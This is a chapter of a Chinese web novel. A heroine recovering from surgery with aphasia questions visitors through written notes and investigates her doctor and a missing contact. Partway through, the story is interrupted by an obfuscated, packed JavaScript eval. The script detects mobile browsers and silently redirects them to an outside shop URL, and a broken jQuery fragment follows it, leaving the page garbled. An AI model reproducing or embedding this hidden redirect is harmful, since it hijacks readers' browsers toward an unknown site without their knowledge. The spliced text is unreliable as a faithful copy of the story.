云绘语气带着一点戏谑。
虽然明和确实想问季往在哪里，她醒了许久，一直都没看到他。
但心思就这样被云绘直白地说出来，明和还是有些不好意思，她把被子拉高，遮住头顶。
在被子下悄悄整理好表情和情绪，然后又缓缓挪出来，点了点头。
哎，小和真是完了啊，看这反应指定对季往有想法，云绘看破没说破，笑了一下。
然后附在明和耳边说悄悄话：“你做手术这么长的时间，季往一直盯着手术室的门看，一句话都不说。”
一直看着吗？明和看了一眼病房里的挂钟，已经是周日凌晨五点多了。
“而且，你做完手术之后，他衣服都没换，一直站在门口看你，等你醒了才走。”
他走了？
明和神色未变，但下意识攥紧了病号服的衣角。
“他应该就在门外站着，我刚还看见他了。我去喊他。”
原来没走啊，明和浅笑。
病房外，季往穿着新换的黑色长袖衬衫，隐约听到屋里两人提到了自己的名字。
和手术室的无影灯不一样，走廊的白炽灯下总有照不透的阴影。
季往退后几步，离病房门更远，隐入阴影中。
云绘说完悄悄话，捏了捏明和苍白的脸颊，起身出门准备喊季往。
但右手刚触碰到门把手时，房门打开。
“沈随之？”
云绘惊讶地看着面前风尘仆仆的人，很多年没见，沈随之还是和以前一样清隽挺拔，五官没有大的变化。
“是我，听说小和出事了，我来看看她。”沈随之说话间喘息不断，电梯失灵，他一路从楼下跑上来。
云绘看到明和点头同意后才让沈随之进来。
只是她再次望向门外时，走廊已经空无一人。
云绘朝明和摇摇头，表示季往不在，然后关上房门离开。
“小和，你周五怎么跟我保证的，这才多久没见，就伤得这么严重。”
沈随之语气严肃。
他拿起床尾悬挂的病人信息和护理巡视记录单，认真看了一眼。搭在床尾栏杆上的右手因为在冷风里奔跑此刻看起来通红肿胀。
明和低下头，情绪复杂。
确实是她太自信了，但……她从未后悔选择跟江题联姻。
现在网上的消息全部都是她已经跟江频联姻了，沈随之怎么知道她没有联姻。
而且当时警察选的是离墓园最近的医院，根本没有挑医院，沈随之怎么这么精准就找到她。
从北京到H市，高铁6个小时，飞机2个小时。
沈随之要么凌晨2、3点知道她出事要么昨天晚上就知道了。
不对，她忽略了一种可能，沈随之本来就在H市。
明和往前坐了坐，想拿过巡视单上别着的笔。
沈随之睁大眼睛，上前扶住明和，“你干什么，这么严重的伤还乱动。”
看着明和无奈的表情和紧抿的双唇，沈随之立马反应过来：“失语症？”
明和点头。
在他眼中，明和委屈地半阖着眼，面色苍白，沈随之一瞬间僵住，心里像是被压了一块儿大石头。
“我……对不起，刚才实在着急，没有责怪你。”沈随之撕下一张空白的巡视单，拉过椅子，坐在床边。
明和摆摆手，接过笔和空白的巡视单，在巡视单背面写下[随之哥，床头上有热水，可以暖暖手’??’。你昨天就在H市吗？]
“对啊。”沈随之轻轻摩挲明和画的笑脸，“我昨天就在，回来见我爸一面。”
明和歪头疑惑。
[你跟沈叔叔和好了吗？]
“算是吧，我准备接手家里的产业。”
沈随之拿起床头的热水壶，往纸杯里倒了半杯热水，有点麻木的手指恢复知觉。
[那你不当医生了吗？]明和这句话写得有些着急，她最羡慕的人就是沈随之这样的，能在年少的时候就找到感兴趣的、愿意奋斗终身的事业。
人人羡慕青春年少，可能并不在于年少时多么富有多么高兴，而是年少时还有很多改变命运、尝试新事物的机会，给人一种“未来总会变好”的错觉。
但是年少之人却总是想要快点长大，因为机会多的副作用就是无尽的迷茫。
改变一生的路就在眼前，却没有人知道究竟哪一条才是对的，即便选择了当下对的路，又会担忧日后会不会后悔。
但沈随之从不迷茫，他在16岁的时候就选择了自己的路，并为之努力多年。
“当啊，这又不冲突。”沈随之叹了一口气，“我爸年纪也大了，临彰交给其他人他也不放心。这么多年了，我总不能一直让他活在忧虑当中，那太不孝了。”
“以后我投资一个私立医院，也是一样能当医生。到时候我想什么时候上班就什么时候上班，不用在医院和实验室当牛做马了。”
沈随之说得豪情壮志，带着点儿玩笑意味，逗笑了明和。
她在纸上画了一个小人加油的简笔表情包。
[你怎么知道我在这个医院？小云跟你说的吗？]
除了明和同意，云绘不会跟任何人说她的情况，她在试探沈随之。
如果不是发生影响深刻的事情，人不可能在短时间内发生重大改变，尤其是沈随之这样坚定又理性的人，如今却连人生规划都改了。
“季同学跟我说的。”沈随之把纸杯放回床头柜，原本平静无澜的热水受到冲击翻起波浪。
明和愣住，沈随之有季往的联系方式吗？就算有，季往为什么要告诉沈随之。
“小和怎么呆住了？哈哈哈，骗你呢，不是他说的。”沈随之笑得恣意。
他很聪明，看出来明和在试探他，于是反过来试探明和对季往的在意程度。
天色将明未明，沈随之看了一眼窗外，“放心吧，哥哥不会害你。你可以永远相信我。”
“临漳那边还有事，我先走了，中午再来看你，好好休息，有事情一定要给我打电话，不要像这次一样自己硬抗。”
明和挥手告别，确认沈随之离开，挪到床尾，仔细看病人信息卡。
都是常规信息，住院的每个病人都会有一张这样的卡贴在床尾，没什么特别的，主治医生叫张简际。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733723|184522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
云绘推门进来，一边把明和扶回床头倚着一边问：“你看什么，这么认真？我也真是服了，不能看书、手机、电脑，你还是能找点儿什么东西看。”
明和轻笑，在纸上写[你查一下张简际]。
“张简际？这不是你的主治医生吗？”云绘打开手机开始检索，“这种主任级别的医生，医院网站上肯定有详细介绍。”
“你看，履历很长，医学博士，毕业于A大医学院，本博连读……”
明和看着张简际的信息，他和沈随之都就读于A大医学院八年制博士班，但比沈随之大了9岁。
[我用一下电脑，这次真是必须用??????]
“行，你用吧。你怎么不能说话了也要装可爱啊啊啊，真受不了你。”云绘把电脑递给明和，戳了戳??????。
过了几分钟，明和合上电脑，眼神有些空洞的望向墙上的钟表。张简际和沈随之的博士生导师是同一个人，毕业论文导师署名一模一样。
云绘察觉到明和好像有些不太高兴，以为她是在想季往，轻轻咳嗽了两声说：“我见到季往的时候，他衣服头发都是湿的，短袖上好多血，我感觉他应该是去换衣服了，不是故意不来看你的。”
啊？明和歪头疑惑，不知道云绘为什么突然说季往。
[小云大王我能不能用一下手机，我联系一下赵青远，这次也是真的必须用??-
云绘有点疑惑：“你不是已经联系过了？”
但很快，云绘笑着拉长音节：“哦~~我懂了，你肯定是想联系季往，哎呀，找什么借口，我又不会笑话你。”
明和有口难言，接过手机无声叹了一口气，把纸上“赵青远”三个字涂黑，以防有其他人看到这张纸条。
赵青远：【小姐，我已经做完笔录了。准备离开一段时间，多保重。东西都寄给你了，地址是A大，我能说的都在里面。】
消息发送时间是凌晨两点多。
明和尝试给赵青远发消息打电话，消息全部都显示发送失败，电话也没人接。
赵青远的行为举止很奇怪，他根本没有救她的动机，就算有，为什么在佳苑的时候不直接报警？而是给她看录音和电视。
她在给警察陈述的时候，着重说明了这一点。
明和不再联系之前的律师，即便是父母以前的律师助理，也极有可能是他把江题给她的文件、录音泄露给了盛业。
她打开法院网站，下载了一份文书模板。
凝视着屏幕上[宣告死亡申请书]，指尖久久没有动作。
“你不准看太久了哦。我现在是你的电子产品使用监督师。”云绘敲敲了电脑外壳。
明和微笑着看向云绘，关上了电脑。
“快说快说，你联系季往了嘛？我不仅要当电子产品使用监督师还要走在你感情状况的吃瓜一线。”
医院路边种了两排笔挺的树，落叶萧萧，清晨的雾气在路灯的映照下流转，寂寥又有诗意。
季往站在树下，手机收到了新的消息，发出提示音，在晨雾里格外清脆。
MH：【你能来看我吗??????】